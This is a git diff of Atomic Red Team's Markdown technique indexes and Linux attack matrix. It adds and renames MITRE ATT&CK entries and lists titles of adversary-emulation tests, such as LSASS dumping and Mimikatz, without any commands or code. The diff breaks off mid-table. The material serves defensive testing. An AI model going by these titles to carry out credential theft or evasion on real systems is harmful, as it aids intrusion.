 - T1574.006 Dynamic Linker Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1548.004 Elevated Execution with Prompt [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1564.008 Email Hiding Rules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1480.001 Environmental Keying [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1480 Execution Guardrails [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1211 Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -175,6 +181,7 @@
 - T1222 File and Directory Permissions Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1553.001 Gatekeeper Bypass](../../T1553.001/T1553.001.md)
   - Atomic Test #1: Gatekeeper Bypass [macos]
+- T1027.006 HTML Smuggling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1564.005 Hidden File System [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1564.001 Hidden Files and Directories](../../T1564.001/T1564.001.md)
   - Atomic Test #1: Create a hidden file in a hidden directory [linux, macos]
@@ -210,6 +217,7 @@
   - Atomic Test #8: chown - Change file or folder ownership recursively [macos, linux]
   - Atomic Test #9: chattr - Remove immutable file attribute [macos, linux]
 - T1078.003 Local Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1036.004 Masquerade Task or Service [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1036 Masquerading [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1036.005 Match Legitimate Name or Location](../../T1036.005/T1036.005.md)
   - Atomic Test #1: Execute a process from a directory masquerading as the current parent directory. [macos, linux]
@@ -220,7 +228,9 @@
 - T1205.001 Port Knocking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1055 Process Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1108 Redundant Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1620 Reflective Code Loading [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1036.003 Rename System Utilities [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1564.009 Resource Forking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1036.002 Right-to-Left Override [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1014 Rootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1564.006 Run Virtual Instance [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -336,6 +346,7 @@
   - Atomic Test #3: List OS Information [linux, macos]
   - Atomic Test #7: Hostname Discovery [linux, macos]
   - Atomic Test #11: Environment variables discovery on macos and linux [macos, linux]
+- T1614.001 System Language Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1614 System Location Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1016 System Network Configuration Discovery](../../T1016/T1016.md)
   - Atomic Test #3: System Network Configuration Discovery [macos, linux]
@@ -344,6 +355,7 @@
   - Atomic Test #3: System Network Connections Discovery Linux & MacOS [linux, macos]
 - [T1033 System Owner/User Discovery](../../T1033/T1033.md)
   - Atomic Test #2: System Owner/User Discovery [linux, macos]
+- T1007 System Service Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1497.003 Time Based Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1497.002 User Activity Based Checks [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1497 Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -371,6 +383,7 @@
 - [T1546.014 Emond](../../T1546.014/T1546.014.md)
   - Atomic Test #1: Persistance with Event Monitor - emond [macos]
 - T1546 Event Triggered Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1133 External Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1574 Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1547.006 Kernel Modules and Extensions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1546.006 LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -383,6 +396,7 @@
 - [T1136.001 Local Account](../../T1136.001/T1136.001.md)
   - Atomic Test #2: Create a user account on a MacOS system [macos]
 - T1078.003 Local Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1547.015 Login Items [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1037.002 Logon Script (Mac)](../../T1037.002/T1037.002.md)
   - Atomic Test #1: Logon Scripts - Mac [macos]
 - T1556 Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -420,6 +434,7 @@
   - Atomic Test #2: Cron - Add script to all cron subfolders [macos, linux]
 - T1203 Exploitation for Client Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1061 Graphical User Interface [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1559 Inter-Process Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1059.007 JavaScript [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1569.001 Launchctl](../../T1569.001/T1569.001.md)
   - Atomic Test #1: Launchctl [macos]
@@ -525,6 +540,7 @@
 - T1078.002 Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1189 Drive-by Compromise [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1190 Exploit Public-Facing Application [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1133 External Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1200 Hardware Additions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1078.003 Local Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1566 Phishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -544,5 +560,6 @@
 - T1021.004 SSH [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1563.001 SSH Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1072 Software Deployment Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1080 Taint Shared Content [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1021.005 VNC [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 
diff --git a/atomics/Indexes/Indexes-Markdown/windows-index.md b/atomics/Indexes/Indexes-Markdown/windows-index.md
index f2c706f3..abfd975e 100644
--- a/atomics/Indexes/Indexes-Markdown/windows-index.md
+++ b/atomics/Indexes/Indexes-Markdown/windows-index.md
@@ -4,6 +4,7 @@
 - [T1558.004 AS-REP Roasting](../../T1558.004/T1558.004.md)
   - Atomic Test #1: Rubeus asreproast [windows]
   - Atomic Test #2: Get-DomainUser with PowerView [windows]
+- T1557 Adversary-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1110 Brute Force [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1003.005 Cached Domain Credentials](../../T1003.005/T1003.005.md)
   - Atomic Test #1: Cached Credential Dump via Cmdkey [windows]
@@ -71,7 +72,6 @@
   - Atomic Test #10: Powershell Mimikatz [windows]
   - Atomic Test #11: Dump LSASS with .Net 5 createdump.exe [windows]
   - Atomic Test #12: Dump LSASS.exe using imported Microsoft DLLs [windows]
-- T1557 Man-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1556 Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1003.003 NTDS](../../T1003.003/T1003.003.md)
   - Atomic Test #1: Create Volume Shadow Copy with vssadmin [windows]
@@ -124,6 +124,7 @@
 
 # collection
 - T1557.002 ARP Cache Poisoning [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1557 Adversary-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1560 Archive Collected Data](../../T1560/T1560.md)
   - Atomic Test #1: Compress Data for Exfiltration With PowerShell [windows]
 - T1560.003 Archive via Custom Method [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -141,6 +142,7 @@
   - Atomic Test #2: Automated Collection PowerShell [windows]
   - Atomic Test #3: Recon information for export with PowerShell [windows]
   - Atomic Test #4: Recon information for export with Command Prompt [windows]
+- T1185 Browser Session Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1115 Clipboard Data](../../T1115/T1115.md)
   - Atomic Test #1: Utilize Clipboard to store or execute commands from [windows]
   - Atomic Test #2: Execute Commands from Clipboard using PowerShell [windows]
@@ -166,8 +168,6 @@
   - Atomic Test #3: Zip a Folder with PowerShell for Staging in Temp [windows]
 - [T1114.001 Local Email Collection](../../T1114.001/T1114.001.md)
   - Atomic Test #1: Email Collection with PowerShell Get-Inbox [windows]
-- T1185 Man in the Browser [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
-- T1557 Man-in-the-Middle [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1074.002 Remote Data Staging [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1114.002 Remote Email Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1113 Screen Capture](../../T1113/T1113.md)
@@ -447,8 +447,11 @@
 - T1556.001 Domain Controller Authentication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1484 Domain Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1484.002 Domain Trust Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1036.007 Double File Extension [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1562.010 Downgrade Attack [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1055.001 Dynamic-link Library Injection](../../T1055.001/T1055.001.md)
   - Atomic Test #1: Process Injection via mavinject.exe [windows]
+- T1564.008 Email Hiding Rules [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1480.001 Environmental Keying [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1574.005 Executable Installer File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1480 Execution Guardrails [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
@@ -463,11 +466,13 @@
   - Atomic Test #10: Delete TeamViewer Log Files [windows]
 - T1222 File and Directory Permissions Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1484.001 Group Policy Modification [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1027.006 HTML Smuggling [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1564.005 Hidden File System [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1564.001 Hidden Files and Directories](../../T1564.001/T1564.001.md)
   - Atomic Test #3: Create Windows System File with Attrib [windows]
   - Atomic Test #4: Create Windows Hidden File with Attrib [windows]
   - Atomic Test #8: Hide Files Through Registry [windows]
+- T1564.002 Hidden Users [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1564.003 Hidden Window](../../T1564.003/T1564.003.md)
   - Atomic Test #1: Hidden Window [windows]
 - [T1564 Hide Artifacts](../../T1564/T1564.md)
@@ -501,6 +506,7 @@
 - T1036.001 Invalid Code Signature [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1078.003 Local Accounts](../../T1078.003/T1078.003.md)
   - Atomic Test #1: Create local account with admin privileges [windows]
+- T1218.014 MMC [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1127.001 MSBuild](../../T1127.001/T1127.001.md)
   - Atomic Test #1: MSBuild Bypass Using Inline Tasks (C#) [windows]
   - Atomic Test #2: MSBuild Bypass Using Inline Tasks (VB) [windows]
@@ -517,6 +523,7 @@
   - Atomic Test #2: Malware Masquerading and Execution from Zip File [windows]
 - [T1036.005 Match Legitimate Name or Location](../../T1036.005/T1036.005.md)
   - Atomic Test #2: Masquerade as a built-in system executable [windows]
+- T1218.013 Mavinject [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1556 Modify Authentication Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1112 Modify Registry](../../T1112/T1112.md)
   - Atomic Test #1: Modify Registry of Current User Profile - cmd [windows]
@@ -620,6 +627,7 @@
 - [T1216.001 PubPrn](../../T1216.001/T1216.001.md)
   - Atomic Test #1: PubPrn.vbs Signed Script Bypass [windows]
 - T1108 Redundant Access [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1620 Reflective Code Loading [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1218.009 Regsvcs/Regasm](../../T1218.009/T1218.009.md)
   - Atomic Test #1: Regasm Uninstall Method Call Test [windows]
   - Atomic Test #2: Regsvcs Uninstall Method Call Test [windows]
@@ -660,6 +668,7 @@
   - Atomic Test #11: Rundll32 with Control_RunDLL [windows]
 - T1134.005 SID-History Injection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1553.003 SIP and Trust Provider Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1562.009 Safe Mode Boot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1064 Scripting [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1574.010 Services File Permissions Weakness [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1574.011 Services Registry Permissions Weakness](../../T1574.011/T1574.011.md)
@@ -787,6 +796,7 @@
   - Atomic Test #1: Running Chrome VPN Extensions via the Registry 2 vpn extension [windows]
 - T1574 Hijack Execution Flow [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1062 Hypervisor [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
+- T1505.004 IIS Components [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1546.012 Image File Execution Options Injection](../../T1546.012/T1546.012.md)
   - Atomic Test #1: IFEO Add Debugger [windows]
   - Atomic Test #2: IFEO Global Flags [windows]
@@ -977,6 +987,7 @@
   - Atomic Test #1: File and Directory Discovery (cmd.exe) [windows]
   - Atomic Test #2: File and Directory Discovery (PowerShell) [windows]
   - Atomic Test #5: Simulating MAZE Directory Enumeration [windows]
+- T1615 Group Policy Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1016.001 Internet Connection Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1087.001 Local Account](../../T1087.001/T1087.001.md)
   - Atomic Test #8: Enumerate all accounts on Windows (Local) [windows]
@@ -1047,6 +1058,7 @@
   - Atomic Test #8: Windows MachineGUID Discovery [windows]
   - Atomic Test #9: Griffon Recon [windows]
   - Atomic Test #10: Environment variables discovery on windows [windows]
+- T1614.001 System Language Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - T1614 System Location Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing)
 - [T1016 System Network Configuration Discovery](../../T1016/T1016.md)
   - Atomic Test #1: System Network Configuration Discovery on Windows [windows]
diff --git a/atomics/Indexes/Matrices/linux-matrix.md b/atomics/Indexes/Matrices/linux-matrix.md
index d4db7bb9..e4b49cbd 100644
--- a/atomics/Indexes/Matrices/linux-matrix.md
+++ b/atomics/Indexes/Matrices/linux-matrix.md
@@ -2,67 +2,71 @@
 | initial-access | execution | persistence | privilege-escalation | defense-evasion | credential-access | discovery | lateral-movement | collection | exfiltration | command-and-control | impact |
 |-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|
 | [Cloud Accounts](../../T1078.004/T1078.004.md) | [At (Linux)](../../T1053.001/T1053.001.md) | [Account Manipulation](../../T1098/T1098.md) | Abuse Elevation Control Mechanism [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Abuse Elevation Control Mechanism [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [/etc/passwd and /etc/shadow](../../T1003.008/T1003.008.md) | Account Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | ARP Cache Poisoning [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Automated Exfiltration [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application Layer Protocol [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Account Access Removal [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Compromise Hardware Supply Chain [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Command and Scripting Interpreter [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Add Office 365 Global Administrator Role [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [At (Linux)](../../T1053.001/T1053.001.md) | Application Access Token [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | ARP Cache Poisoning [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Browser Bookmark Discovery](../../T1217/T1217.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Archive Collected Data [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Transfer Size Limits](../../T1030/T1030.md) | Asymmetric Cryptography [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application Exhaustion Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Compromise Software Dependencies and Development Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Container Administration Command](../../T1609/T1609.md) | Add-ins [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Autostart Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Binary Padding](../../T1027.001/T1027.001.md) | [Bash History](../../T1552.003/T1552.003.md) | Cloud Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Internal Spearphishing [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Archive via Custom Method [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Exfiltration Over Alternative Protocol](../../T1048/T1048.md) | Bidirectional Communication [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Application or System Exploitation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Compromise Software Supply Chain [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Container Orchestration Job](../../T1053.007/T1053.007.md) | [Additional Cloud Credentials](../../T1098.001/T1098.001.md) | Boot or Logon Initialization Scripts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Bootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Brute Force [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Cloud Groups [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Lateral Tool Transfer [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Archive via Library](../../T1560.002/T1560.002.md) | [Exfiltration Over Asymmetric Encrypted Non-C2 Protocol](../../T1048.002/T1048.002.md) | Commonly Used Port [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Destruction](../../T1485/T1485.md) |
-| Default Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Cron](../../T1053.003/T1053.003.md) | [At (Linux)](../../T1053.001/T1053.001.md) | [Cloud Accounts](../../T1078.004/T1078.004.md) | Build Image on Host [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Cloud Instance Metadata API [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Cloud Infrastructure Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Remote Service Session Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Archive via Utility](../../T1560.001/T1560.001.md) | Exfiltration Over Bluetooth [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Communication Through Removable Media [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Data Encrypted for Impact](../../T1486/T1486.md) |
-| Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Deploy Container [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Autostart Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Container Orchestration Job](../../T1053.007/T1053.007.md) | [Clear Command History](../../T1070.003/T1070.003.md) | [Container API](../../T1552.007/T1552.007.md) | Cloud Service Dashboard [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Audio Capture [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over C2 Channel [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | DNS [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Manipulation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Drive-by Compromise [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Boot or Logon Initialization Scripts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Create or Modify System Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Clear Linux or Mac System Logs](../../T1070.002/T1070.002.md) | [Credential Stuffing](../../T1110.004/T1110.004.md) | Cloud Service Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | SSH [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Automated Collection [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | DNS Calculation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Defacement [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Bootkit [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Cron](../../T1053.003/T1053.003.md) | [Cloud Accounts](../../T1078.004/T1078.004.md) | [Credentials In Files](../../T1552.001/T1552.001.md) | Container and Resource Discovery [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | SSH Hijacking [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Clipboard Data [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Encoding [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Direct Network Flood [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| External Remote Services [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | JavaScript [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Browser Extensions](../../T1176/T1176.md) | Default Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Compile After Delivery](../../T1027.004/T1027.004.md) | Credentials from Password Stores [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Account [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Software Deployment Tools [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Confluence [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Exfiltration Over Symmetric Encrypted Non-C2 Protocol [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Disk Content Wipe [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) |
-| Hardware Additions [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Malicious File [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Cloud Account](../../T1136.003/T1136.003.md) | Domain Accounts [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Create Cloud Instance [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Credentials from Web Browsers [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Domain Groups [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Use Alternate Authentication Material [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | Data Staged [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) | [Exfiltration Over Unencrypted/Obfuscated 